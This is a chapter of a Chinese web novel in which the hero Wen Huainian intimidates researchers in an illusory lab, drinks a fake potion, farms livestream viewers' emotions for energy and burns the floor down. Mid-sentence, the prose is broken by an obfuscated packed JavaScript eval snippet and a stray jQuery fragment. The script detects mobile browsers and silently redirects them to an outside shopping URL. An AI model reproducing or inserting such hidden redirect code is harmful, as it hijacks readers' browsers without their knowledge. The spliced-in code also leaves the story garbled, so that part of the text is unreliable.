10.药不能乱吃
作品:《我笔下的角色都成真了》 纯白明亮的实验室内,往日和煦静谧的气氛被彻底打破。
零号是什么样的存在?
是【创神计划】最完美的实验体,是最单纯无害的存在。
但谁能告诉他们!
眼前这个一言不合就上来砍人的家伙是谁?
温淮年倦怠地揉了揉眉心,长剑直指研究员里的高层,他连虚伪的笑意都懒得演,冷冷道:“把研究报告和样品带来。”
高层哪里敢多说一句话,屁颠屁颠跑去储物柜里翻资料。
走的时候太急,他还被脚边的杂物绊了下,身体重重砸在了地上。
有人倒吸一口凉气,和身边的同伴窃窃私语。
高层狼狈地站起身来,踉踉跄跄往前走。
不到一刻,高层抱着一大摞文件夹放到温淮年面前。
男人胡子拉碴,面色铁青,一副大半月没睡好觉的样子。
温淮年将武器随意地丢在桌上,他敛眸翻阅着手中的资料,闲散的姿态像是全然没顾及一旁身体打颤的男人似的。
“联络工具要是能用,你们的大救星早该到了。”
狂砍无数个NPC的大杀神眼皮子都不带动的,像是在陈述一件再明显不过的事实。
而高层,他手一软,藏在内衬里的手机“哐当”一声掉落在地。
整个实验室陷入了死一般的静寂。
“零号!”男人手指颤抖着。
世界上怎么会有这样的人,明明早就发现了他的小动作,却像面对一个弱小无能的蝼蚁一样选择无视,最后在他绝望之时轻飘飘抛出一句话来。
‘哦,我早就发现你了,但是我不说’
不止绝望与心寒,高层感觉自己的脊背都在发冷。
他定定地注视着这张无比熟悉的面容,拧着眉颤抖道:“你不是零号!”
零号只是一个再好骗不过的实验体。
眼前这个魔鬼怎么可能是零号!
温淮年合上文件夹,随着清脆的声响,他抬眸冲着高层笑了笑,语气里不带一丝情绪,“我不是温淮年还能是谁?”
“你!”
高层张了张口,始终没有说出那句话来。
【能量值+50】
系统大惊:【宿主!】
温淮年若有所思:“吓人也可以吗?”
系统扭扭捏捏:【宿主你是知道的,我比较穷。】
温淮年:“……所以呢?”
【嘿嘿……系统手册我只买得起上册……】
系统:你看看,这不是尴尬了吗?
温淮年一口气堵在心口,他深吸一口气,和蔼可亲道:“能量值你能用吗?”
【能!】
“借你了,立刻去买下册。”
眼看着宿主就要发飙,系统麻溜跑了。
温淮年浑身的杀气骤然消散大半,被气的。
想想一进副本就打起来的楚危和苍醉两个好大儿,想想买书砍半买的系统……
不靠谱的系统不靠谱的崽,温淮年生平头一次有这种荒诞可笑的无力感。
从来没有人告诉他,要怎么处理这种奇怪的亲密关系。
旁边忽而传来窸窸窣窣的声响,他淡淡掀了掀眼皮看过去,就见一个研究员从台子上取了瓶晶莹透亮的药剂走了过来。
豆绿色的液体在瓶中摇晃着,研究员把药剂瓶放到桌上,他卑微地俯着身子,染着红血丝的眼眸中是满满的敬畏与慌乱,“这是最新的样品,我做的……求求你!放了我吧!”
温淮年揭开盖子,四周的研究员齐刷刷后退几步,生怕沾染到药剂瓶中的液体。
系统看见他们的动作,小心翼翼提醒道:【宿主,这有毒,你也离远点。】
它话音刚落,温淮年就端起药剂一饮而尽。
系统:!!!
【宿主!你在做什么?】
直播间那头的顾述:……
[温淮年,你在作死啊!]
[这绿油油的鬼东西,看着和女巫熬的魔药一样,哥们你是真敢喝呀?]
[一杯入地府,六六六~]
[哇!这就是好喝到死的药吗?]
[温哥,你真是让我一惊又一惊……]
顾述本就憔悴的脸上更添了几分凄惨,他动了动手指,给直播间打了笔巨款。
勤勤恳恳忙碌中的顾局长一下子苍老了十岁:[温淮年,你正常一点。]
先是百明霄,再是顾述。
温淮年这个名字就仿佛和“正常”两个字扯不上关系。
耳边是系统呜呜咽咽的哀嚎声,温淮年把空瓶子稳稳放到桌上,微微蹙着眉,似乎在回味。
那张如玉般温润的面容上始终保持着淡淡的神色,不见一丝异常。
系统探头探脑,带着哭腔问:【宿主,你要回炉重造了吗?】
温淮年叹气:“你就不能想我点好的?”
他又随意薅了两页文件夹里的资料,琥珀色瞳孔中倒映出资料的全貌。
那分明是一张张白纸,连道墨痕都没有。
温淮年不信邪,随便指了指旁边的研究员道:“你读资料。”
被点到的研究员怔怔地杵在原地,肢体僵硬,原本鲜活的五官瞬间失去了光泽,就像一个做工精巧的木偶丧失了所有生命力。
“……不……”
这具宕机中的躯体发出“咔吧咔吧”的声响,艰难地挤出一个字。
卡bug失败,温淮年也没有太失望。
如果幻妖真能做到重现资料,他才惊讶呢。
系统这才反应过来:【宿主,这些都是虚假的幻境啊。】
温淮年站起身,低低“嗯”了一声。
系统被自己蠢笑了:【所以药剂是?】
“兑了抹茶粉的纯净水。”温淮年说到这里顿了顿,然后忍不住补充一句,“好难喝。”
真正的新品药剂还没来得及在他的身上使用,【创神计划】就已经被一锅端了。
在此之前的每种实验样品,温淮年都试过毒,疗效甚好,他本人现在已经没什么人样了。
老东西天天研究这些个药,研究来研究去把自己研究死了。
这群研究员不止往实验品身上下狠劲,对自己也够狠,目前也死的七七八八了。
对此,温淮年施施然走到九层楼梯间,感慨道:“药不能乱吃。”
系统在空间里狠狠点头。
对对对,人类这么脆弱的生物,绝对不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239429|197375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱吃药的。
你要是妖物的话,灌两斤毒说不定还能活蹦乱跳的,人可做不到这样。
眼见温淮年离开了实验室,研究员们瘫倒在地,三三两两凑到了一堆。
直播间里,观察着这一幕的顾述皱了皱眉,他总觉得以温淮年的性子,事情不该结束的那么快。
[靠,你也太优柔寡断了吧,斩草不除根?]
[某些人嘴上说着让别人不留情,实则自己那个心软哦,心软的神就是你哦~]
[不就一群妖魔鬼怪,这你都不敢杀,窝囊废!]
[一个个嘴上说的倒欢,把你们丢里面我看哭的比谁都快。]
[人家爱咋咋,杀不杀管你们屁事。抱着个直播间就当自己成神了,能对着人家指指点点的,就你们这群崽种,人家一根手指头就能戳死了。]
[楼上急什么急,我那不是怕他们会受伤嘛,我纯好心提醒,连个玩笑话都看不出来呀?]
[玩笑你大爷呢,屎坨子学了两句人话就出来晃了。]
系统看到这句“屎坨子”实在忍不住了,直接爆笑出声。
炽热的火光为温淮年冷白的肌肤镀上一层温暖的蜜色,寂静的楼梯间与喧嚣的实验室仿若两个截然不同的世界。
温淮年修长的指尖虚虚捏住火焰,在众目睽睽之下轻飘飘丢了进去,落地后火焰如风吹原野般肆意横行,转瞬间将整个九层紧紧包裹起来。
“有什么好玩儿的?”温淮年嘴巴噙着一抹笑,心情很好地问道。
燃烧的火舌毫不留情地舔舐着纯白的空间,系统哑然无声。
过了几秒,在宿主亲手制造的废墟前,它喃喃道:【直播间有人吵架而已。】
“哦,”温淮年道,“那确实很好玩了。”
光幕所创造出来的情绪集合地,人类可以肆意发泄自己的本质情绪,或好或坏,或多或少。
这一切都无人可以制止。
【能量值+50、+40、+70……】
源源不断的能量值进账,温淮年慢条斯理道:“看来可以。”
系统的马后炮也终于来了,它警惕开口道:【系统手册有写,生物的激烈情绪可转化为能量值,其中生物的正面情绪更易转化为能量值,系统建议宿主不要尝试负面情绪的收集。】
“负面情绪来的快。”
温淮年缓步上楼,边走边说道:“恨一个人总比爱一个人容易。”
系统不敢吱声。
这时系统空间里,苍醉懒洋洋的声音响起:“温哥,你想要一个新的人偶吗?”
幻境顶楼,苍醉坐在离地足有六米高的楼梯防护栏上,他悠闲地晃着双腿,多情的桃花眼微微挑起,眼下一点泪痣恰到好处,分外引人注意。
听到温淮年否定的答复,他勾了勾手指,指尖引出无数条透明丝线,在灯光下泛着寒光。
“我就知道,温哥只需要我一个人偶就够了。”
面容精致、穿着华丽的苍醉自然也吸引了不少人,但他们很快就发现了这人表里不一的特性。
不管这人看起来多么乖巧,他都会顶着那双笑吟吟的含情眼把人用傀儡丝穿起来呀!
[这里面到底还有没有正常人?到底有没有!]

